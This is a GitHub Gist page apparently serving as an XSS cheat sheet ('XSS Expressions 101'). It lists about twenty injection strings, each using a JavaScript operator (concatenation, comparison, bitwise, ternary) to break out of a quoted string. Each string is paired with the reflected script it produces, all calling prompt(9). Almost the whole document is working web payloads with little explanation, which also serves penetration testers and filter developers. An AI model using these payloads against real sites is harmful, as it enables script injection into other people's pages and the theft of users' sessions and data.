Skip to content

Instantly share code, notes, and snippets.

@xsscx
Created February 3, 2015 21:00
Show Gist options
  • Save xsscx/9defe7be16f7f7b2ecd6 to your computer and use it in GitHub Desktop.
Save xsscx/9defe7be16f7f7b2ecd6 to your computer and use it in GitHub Desktop.
XSS Expressions 101
==============
XSS Expressions
==============
Key
==============
Operator
Injection
Reflection
==============
Addition & String Concatenation
"%2bprompt(9)%2b"
<script>x=""+prompt(9)+"";y=42;</script>
==============
Subtraction
"-prompt(9)-"
<script>x=""-prompt(9)-"";y=42;</script>
==============
Multiplication
"*prompt(9)*"
<script>x=""*prompt(9)*"";y=42;</script>
==============
Division
"/prompt(9)/"
<script>x=""/prompt(9)/"";y=42;</script>
==============
Modulus; %25 needs to reflect as %.
"%25prompt(9)%25"
<script>x=""%prompt(9)%"";y=42;</script>
==============
“Less Than” Comparison
"<prompt(9)<"
<script>x=""<prompt(9)<"";y=42;</script>
==============
“Greater Than” Comparison
">prompt(9)>"
<script>x="">prompt(9)>"";y=42;</script>
==============
“Less Than or Equal To” Comparison
"<=prompt(9)<="
<script>x=""<=prompt(9)<="";y=42;</script>
==============
“Greater Than or Equal To” Comparison
">=prompt(9)>="
<script>x="">=prompt(9)>="";y=42;</script>
==============
“Equal To” Comparison
"==prompt(9)=="
<script>x=""==prompt(9)=="";y=42;</script>
==============
Strong-Typed “Equal To” Comparison
"===prompt(9)==="
<script>x=""===prompt(9)==="";y=42;</script>
==============
“Not Equal To” Comparison
"!=prompt(9)!="
<script>x=""!=prompt(9)!="";y=42;</script>
==============
Logical “and”; %26 needs to reflect as &.
"%26%26prompt(9)%26%26"
<script>x=""&&prompt(9)&&"";y=42;</script>
==============
Logical “or”;
"||prompt(9)||"
<script>x=""||prompt(9)||"";y=42;</script>
==============
Bitwise “and”;
"%26prompt(9)%26"
<script>x=""&prompt(9)&"";y=42;</script>
==============
Bitwise “or”
"|prompt(9)|"
<script>x=""|prompt(9)|"";y=42;</script>
==============
Bitwise “xor”
"^prompt(9)^"
<script>x=""^prompt(9)^"";y=42;</script>
==============
Bitwise Left Shift
"<<prompt(9)<<"
<script>x=""<<prompt(9)<<"";y=42;</script>
==============
Bitwise Right Shift
">>prompt(9)>>"
<script>x="">>prompt(9)>>"";y=42;</script>
==============
Bitwise Right Shift With Zeros
">>>prompt(9)>>>"
<script>x="">>>prompt(9)>>>"";y=42;</script>
==============
Ternary Conditional Expression
"?prompt(9):"
<script>x=""?prompt(9):"";y=42;</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment